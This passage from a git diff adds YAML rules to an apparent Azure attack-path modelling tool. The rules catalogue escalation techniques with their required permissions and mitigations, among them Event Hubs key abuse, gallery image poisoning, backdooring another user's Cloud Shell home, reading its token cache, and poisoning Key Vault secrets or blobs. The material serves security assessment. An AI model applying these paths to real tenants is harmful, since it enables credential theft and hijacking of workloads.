source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-22-acr-push-write-passive-consumers + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for ACR push/write passive consumers + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. registry/repository/tag (or cache path) -> image reference without digest pin -> workload identity; + consumer_repulls_tag_and_starts_attacker_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-24-managed-namespace-credential-retrieval + provider: azure + service: challenge + title: Managed namespace credential retrieval + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#managed-namespace-credential-retrieval + summary: A namespace kubeconfig can be catalogued as bounded credential reachability only when it confers rights + beyond the caller; no cluster-admin edge follows from retrieval alone. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-24-managed-namespace-credential-retrieval + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Managed namespace credential retrieval + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. managed namespace ID -> kubeconfig authentication mode -> exact Kubernetes RBAC principal/namespace; + kubeconfig_returns_independent_usable_credential + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-25-gallery-golden-image + provider: azure + service: challenge + title: Gallery golden image + source: src/pentesting-cloud/azure-security/az-persistence/az-image-builder-persistence.md#golden-image--supply-chain-persistence + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-25-gallery-golden-image + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Gallery golden image + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. template distribution target -> exact gallery version/image -> VM or VMSS source image; future_vm_creation_from_poisoned_image + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-26-gallery-image-application-backdoor + provider: azure + service: challenge + title: Gallery image/application backdoor + source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#backdoor-vm-applications-vm-extensions--images + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-26-gallery-image-application-backdoor + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for Gallery image/application backdoor + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. new version -> exact VM/VMSS application or image reference; future_install_or_reimage + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-27-vm-application-version-poison + provider: azure + service: challenge + title: VM Application version poison + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#vm-application-pivoting + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-27-vm-application-version-poison + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for VM Application version poison + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. new app version -> consumer VM/VMSS applicationProfile latest plus enableAutomaticUpgrade; automatic_upgrade_installs_new_version + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-28-avd-session-host-configuration + provider: azure + service: challenge + title: AVD session-host configuration + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#common-techniques + summary: A same-resource configuration join gives a bounded potential path; future execution or credential use + cannot be definite from this snapshot. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-v3-28-avd-session-host-configuration + scope: any + outcome: workload_execution + aggregate_as: Exact reviewed target for AVD session-host configuration + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. pooled host configuration -> exact custom script URL -> future session host VM identity; new_session_host_deployed_and_runs_script + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-29-event-hubs-rule-keys + provider: azure + service: challenge + title: Event Hubs rule keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#authorization-rule-key-disclosure + summary: The SAS credential is its own service-scoped authority, not an Entra identity. A receiver identity path + is only potential with an explicit trigger and payload-use precondition. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-29-event-hubs-rule-keys + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Event Hubs rule keys + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact namespace/entity/rule rights -> event hub/alias -> configured receiver event source; sas_key_current_and_local_auth_enabled; + consumer_processes_attacker_event_as_privileged_input + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-30-event-hubs-send-receive + provider: azure + service: challenge + title: Event Hubs send/receive + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#direct-entra-authenticated-event-read-and-injection + summary: The SAS credential is its own service-scoped authority, not an Entra identity. A receiver identity path + is only potential with an explicit trigger and payload-use precondition. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-30-event-hubs-send-receive + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Event Hubs send/receive + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact namespace/entity/rule rights -> event hub/alias -> configured receiver event source; consumer_processes_attacker_event_as_privileged_input + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-31-event-hubs-entity-sas + provider: azure + service: challenge + title: Event Hubs entity SAS + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#create-an-entity-sas-policy-and-recover-its-generated-key + summary: The SAS credential is its own service-scoped authority, not an Entra identity. A receiver identity path + is only potential with an explicit trigger and payload-use precondition. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-31-event-hubs-entity-sas + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Event Hubs entity SAS + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact namespace/entity/rule rights -> event hub/alias -> configured receiver event source; sas_key_current_and_local_auth_enabled; + consumer_processes_attacker_event_as_privileged_input + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-32-event-hubs-geo-dr-alias-keys + provider: azure + service: challenge + title: Event Hubs Geo-DR alias keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#geo-disaster-recovery-alias-key-disclosure + summary: The SAS credential is its own service-scoped authority, not an Entra identity. A receiver identity path + is only potential with an explicit trigger and payload-use precondition. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-32-event-hubs-geo-dr-alias-keys + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Event Hubs Geo-DR alias keys + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact namespace/entity/rule rights -> event hub/alias -> configured receiver event source; sas_key_current_and_local_auth_enabled; + consumer_processes_attacker_event_as_privileged_input + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-34-covert-consumer-group-silent-stream-tap-consumergroups + provider: azure + service: challenge + title: Covert consumer group — silent stream tap (consumergroups/write) + source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#covert-consumer-group--silent-stream-tap-consumergroupswrite + summary: A new consumer group gives an independent retained-event view when the source also has Listen/receive + authority. If that stream contains a usable target credential, it is a conditional secret-dependent path; the + group alone is only data access. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-34-covert-consumer-group-silent-stream-tap-consumergroups + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Covert consumer group — silent stream tap (consumergroups/write) + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact Event Hub -> new group -> effective receive authority -> externally attested credential-bearing + event and principal binding; retained_event_contains_current_credential_for_target + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: 'Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. No receive right: no edge. Missing or unverified + credential flag: UNKNOWN only; known non-credential stream: no identity edge.' +- id: azure-v3-35-geo-dr-alias-redirection-persistence-disasterrecoveryc + provider: azure + service: challenge + title: Geo-DR alias redirection persistence (disasterRecoveryConfigs/write) + source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#geo-dr-alias-redirection-persistence-disasterrecoveryconfigswrite + summary: Geo-DR replicates metadata, not event data. A direct victim-identity edge would be false; a scoped replicated + SAS authority can be represented. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-35-geo-dr-alias-redirection-persistence-disasterrecoveryc + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Geo-DR alias redirection persistence (disasterRecoveryConfigs/write) + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. primary namespace -> exact paired secondary controlled by source -> replicated SAS policy rights; no + event data replication; replication_completed_and_sas_key_usable + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-36-capture-archive-as-a-durable-exfil-feed-eventhubs-writ + provider: azure + service: challenge + title: Capture archive as a durable exfil feed (eventhubs/write) + source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#capture-archive-as-a-durable-exfil-feed-eventhubswrite + summary: Capture is a durable data-access path. It becomes a potential identity path only when archived events + are independently known to contain a usable credential; the capture configuration alone gives no identity. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-36-capture-archive-as-a-durable-exfil-feed-eventhubs-writ + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Capture archive as a durable exfil feed (eventhubs/write) + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. Event Hub captureDescription -> exact destination container -> source read authority -> externally attested + credential-bearing archive; capture_runs_and_archive_contains_current_credential_for_target + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: 'Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. No capture/readable destination: no edge. Missing + credential finding: UNKNOWN only; never a definite target from data flow.' +- id: azure-v3-37-self-minted-entity-sas-rule-durable-bearer-credential + provider: azure + service: challenge + title: Self-minted entity SAS rule — durable bearer credential + source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#self-minted-entity-sas-rule--durable-bearer-credential + summary: This is a durable service credential. The scoped authority can be modelled without assuming its events + compromise a receiver. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-37-self-minted-entity-sas-rule-durable-bearer-credential + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Self-minted entity SAS rule — durable bearer credential + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact Event Hub -> created rule -> local SAS enabled; new_rule_key_issued_and_valid + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-38-re-enable-local-sas-authentication-disablelocalauth-fa + provider: azure + service: challenge + title: Re-enable local SAS authentication (disableLocalAuth=false) + source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#re-enable-local-sas-authentication-disablelocalauthfalse + summary: Flipping local auth is a guardrail removal. Without a known key retrieval path or explicitly flagged + key possession it confers no service credential. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-38-re-enable-local-sas-authentication-disablelocalauth-fa + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for Re-enable local SAS authentication (disableLocalAuth=false) + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. namespace -> exact existing SAS rule -> explicit source possession/ability to retrieve its key; re-evaluate + after one allowed config change; source_already_possesses_sas_key_or_can_read_it + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. +- id: azure-v3-40-managednamespaces-listcredential-and-clustermonitoring + provider: azure + service: challenge + title: managedNamespaces/listCredential and clusterMonitoringUser credential retrieval + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + summary: The composite exclusion names two credential variants. Neither grants cluster-admin by name; only an + independently privileged local credential or verified namespace/monitoring role is an edge. + requires: + all_of: [] + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-v3-40-managednamespaces-listcredential-and-clustermonitoring + scope: any + outcome: permission_grant + aggregate_as: Exact reviewed target for managedNamespaces/listCredential and clusterMonitoringUser credential + retrieval + conditions: + - id: exact_verified_prerequisites + description: Only a scoped attestation of the exact actor, action, resource and target join may resolve this + edge. exact AKS managed namespace or monitoring credential -> returned authentication subject -> effective + RBAC; local_credential_issued_and_usable + confidence: conditional + severity: high + mitigation: Restrict the named capability and remove the exact unsafe resource or trust relationship. + notes: Requires a complete, reviewed azure_privesc_challenge_evidence collection. Missing, partial or conflicting + facts are UNKNOWN/unresolved; verified facts remain conditional. A false join emits no edge. Missing, denied, + or unsupported facts emit only an unresolved target or UNKNOWN. An unverified precondition flag caps confidence + at conditional. diff --git a/src/privilege-escalation-paths-research/azure/cloud_shell.yaml b/src/privilege-escalation-paths-research/azure/cloud_shell.yaml new file mode 100644 index 0000000000..f7918774eb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/cloud_shell.yaml @@ -0,0 +1,83 @@ +# Azure Cloud Shell techniques (declarative only). +# Source: hacktricks-cloud az-cloud-shell-persistence.md / az-cloud-shell-post-exploitation.md (rev 171e422). +# Cloud Shell persists each user's $HOME image on an Azure Files share; the user<->share mapping is not +# collected, so targets use credential_stored_in_scope (conditional). + +- id: azure-cloudshell-home-image-backdoor + provider: azure + service: cloud_shell + title: Backdoor another user's persisted Cloud Shell home image + source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#cloud-shell-phishing + source_revision: a66f094ede + summary: Write access to the storage account backing another user's Cloud Shell lets the source run code as that user, with their Azure context and cached tokens, in the user's next session. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: '{pivot}' + - - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read + data_action: true + scope: '{pivot}' + - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_user + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Users whose Cloud Shell home image is stored in {pivot} + conditions: + - id: share_backs_cloud_shell + description: The storage account must host a persistent Cloud Shell file share of another user; this mapping is not visible from RBAC. + - id: victim_opens_session + description: Code runs only when the victim opens a new storage-backed Cloud Shell session; token-cache artifacts already present in the image can be read without waiting. + - id: network_reachable + description: Storage firewall / private endpoint must allow the source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Keep Cloud Shell storage accounts in a dedicated, tightly scoped resource group/subscription, restrict listKeys and file data-plane roles on them, or use ephemeral Cloud Shell sessions. + references: + - https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage + notes: Reading token caches already present in the image (read-only access) is modelled separately by azure-cloudshell-home-token-cache-read. + +- id: azure-cloudshell-home-token-cache-read + provider: azure + service: cloud_shell + title: Read another user's Azure CLI token cache from their persisted Cloud Shell home + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#azure-cli-artifacts-in-persistent-storage + source_revision: a66f094ede + summary: Read access to the file share backing another user's persistent Cloud Shell exposes the Azure CLI profile and MSAL token cache in their home image, which can hold reusable tokens of that user. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: '{pivot}' + - - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_user + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Users whose Cloud Shell home image is stored in {pivot} + conditions: + - id: share_backs_cloud_shell + description: The storage account must host a persistent Cloud Shell file share of another user; this mapping is not visible from RBAC. + - id: reusable_token_present + description: Whether the cache holds a still-valid access or refresh token depends on the CLI version, authentication flow and token lifetime. + - id: network_reachable + description: Storage firewall / private endpoint must allow the source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Keep Cloud Shell storage accounts in a dedicated, tightly scoped resource group/subscription, restrict listKeys and file data-plane read roles on them, or use ephemeral Cloud Shell sessions. + references: + - https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage + notes: Read-only counterpart of azure-cloudshell-home-image-backdoor (no victim action needed). diff --git a/src/privilege-escalation-paths-research/azure/confidential_ledger.yaml b/src/privilege-escalation-paths-research/azure/confidential_ledger.yaml new file mode 100644 index 0000000000..d7ec162f3d --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/confidential_ledger.yaml @@ -0,0 +1,35 @@ +- id: azure-confidentialledger-ledgers-write-principal + provider: azure + service: confidential_ledger + title: Add a principal as ledger Administrator through ledgers/write + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#data-plane-role-self-grant-via-ledgerswrite + source_revision: 171e422 + summary: Reading the existing ledger configuration and writing a principal list that contains an Administrator + lets the source grant itself the ledger Administrator data-plane role. + requires: + all_of: + - action: Microsoft.ConfidentialLedger/ledgers/read + scope: '{target.scope}' + - action: Microsoft.ConfidentialLedger/ledgers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: Confidential Ledger administrators of {target.scope} + conditions: + - id: administrator_retained + description: The submitted aadBasedSecurityPrincipals/certBasedSecurityPrincipals list must contain at least + one Administrator. Adding the source itself as Administrator satisfies this constraint; preserving current + principals requires reading the list first. + blockers: + - azure_deny_assignment + confidence: derived + severity: medium + mitigation: Restrict ledgers/read and ledgers/write; monitor aadBasedSecurityPrincipals and certBasedSecurityPrincipals + changes. + references: + - https://learn.microsoft.com/en-us/rest/api/confidentialledger/ledger/update + - https://learn.microsoft.com/en-us/azure/confidential-ledger/manage-azure-ad-users + notes: '' diff --git a/src/privilege-escalation-paths-research/azure/consumer_poisoning.yaml b/src/privilege-escalation-paths-research/azure/consumer_poisoning.yaml new file mode 100644 index 0000000000..199cce7cad --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/consumer_poisoning.yaml @@ -0,0 +1,188 @@ +# Second-order escalation through a privileged workload that consumes data the source can write +# (declarative only). Source: hacktricks-cloud az-key-vault-privesc.md, az-storage-privesc.md, +# az-app-configuration-privesc.md, az-queue-privesc.md (rev 171e422; all entries re-reviewed at +# a66f094ede). +# Targets use azure_consumer_of_pivot: until workload bindings (Key Vault / App Configuration references, +# Functions trigger bindings, content storage) are collected, managed identities holding the matching +# data-read action on the pivot are reported conditional (consumer_binding_not_collected) and every +# other identity unknown. Whether the consumer trusts the value enough to change what it executes is +# application logic, so these entries are never derived. + +- id: azure-keyvault-secret-poisoning-consumer + provider: azure + service: key_vault + title: Poison a Key Vault secret read by a privileged workload + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#write-only-secret-poisoning + source_revision: a66f094ede + summary: Writing a new version of a secret that a workload reads as a credential, endpoint or command makes that workload act on attacker input with its own managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.KeyVault/vaults/secrets/setSecret/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.KeyVault/vaults/secrets/write + scope: "{pivot}" + - - action: Microsoft.KeyVault/vaults/accessPolicies/write + scope: "{pivot}" + - - action: Microsoft.KeyVault/vaults/write + scope: "{pivot}" + pivot_resource_type: Microsoft.KeyVault/vaults + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: key_vault_reference + scope: any + aggregate_as: "Workload identities consuming secrets of vault {pivot}" + outcome: workload_execution + conditions: + - id: consumer_trusts_secret + description: The consuming workload must use the latest secret version in a way that changes what it executes, targets or authenticates to. + - id: access_policy_model_only + description: The accessPolicies/write and vaults/write (full vault PUT rewriting properties.accessPolicies) alternatives only work on vaults using the access-policy permission model (not Azure RBAC). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Separate secret writers from readers, pin secret versions in references, and monitor SecretSet on vaults that back privileged workloads. + references: + - https://learn.microsoft.com/en-us/azure/app-service/app-service-key-vault-references + notes: secrets/write is the control-plane (ARM child resource) form of setSecret. Consumer bindings are not collected yet; candidate consumers are managed identities that can read secrets of the vault. + +- id: azure-storage-blob-poisoning-consumer + provider: azure + service: storage + title: Poison blobs consumed by a privileged service + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#poison-a-privileged-consumer-with-microsoftstoragestorageaccountsblobservicescontainersblobswrite + source_revision: a66f094ede + summary: Overwriting scripts, packages or configuration blobs that Data Factory, Batch, Stream Analytics or similar services load makes them run attacker content with their managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write + data_action: true + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listAccountSas/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listServiceSas/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: storage_content + scope: any + aggregate_as: "Workload identities loading content from storage account {pivot}" + outcome: workload_execution + conditions: + - id: consumer_executes_content + description: The consumer must load and execute or trust the overwritten blob. The Function App package/content case is modelled separately in functions.yaml. + - id: shared_key_access_enabled + description: The listKeys, regenerateKey, listAccountSas and listServiceSas alternatives require shared key authorization to be enabled on the account (SAS tokens are signed with an account key). + - id: sftp_local_user + description: The localUsers alternatives require an HNS-enabled account with SFTP enabled; regeneratePassword only reaches the containers an existing local user already has write scope on. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Keep code and configuration blobs for privileged workloads in dedicated accounts with writer separation, and use immutable or versioned packages. + references: + - https://learn.microsoft.com/en-us/azure/storage/blobs/authorize-access-azure-active-directory + notes: Consumer bindings are not collected yet; candidate consumers are managed identities that can read blobs of the account. + +- id: azure-appconfig-keyvalue-poisoning-consumer + provider: azure + service: app_configuration + title: Poison App Configuration key-values read by a privileged application + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreskeyvalueswrite + source_revision: a66f094ede + summary: Overwriting a key-value or feature flag that a privileged application, job or pipeline uses as an endpoint, module path or command changes what that consumer does with its identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.AppConfiguration/configurationStores/keyValues/write + data_action: true + scope: "{pivot}" + - - action: Microsoft.AppConfiguration/configurationStores/keyValues/write + scope: "{pivot}" + - - action: Microsoft.AppConfiguration/configurationStores/ListKeys/action + scope: "{pivot}" + - - action: Microsoft.AppConfiguration/configurationStores/RegenerateKey/action + scope: "{pivot}" + pivot_resource_type: Microsoft.AppConfiguration/configurationStores + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: app_configuration_reference + scope: any + aggregate_as: "Workload identities consuming App Configuration store {pivot}" + outcome: workload_execution + conditions: + - id: consumer_trusts_value + description: The consumer must use the poisoned value in a way that changes what it executes or targets. + - id: local_auth_enabled + description: The ListKeys / RegenerateKey alternatives require access-key (local) authentication to be enabled on the store. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Disable local auth, separate configuration writers from readers, and use labels/snapshots that are pinned for production consumers. + references: + - https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-enable-rbac + notes: keyValues/write exists both as a data action (App Configuration Data Owner) and as a control-plane action on the ARM keyValues child; each authorizes its own endpoint. Consumer bindings are not collected yet. + +- 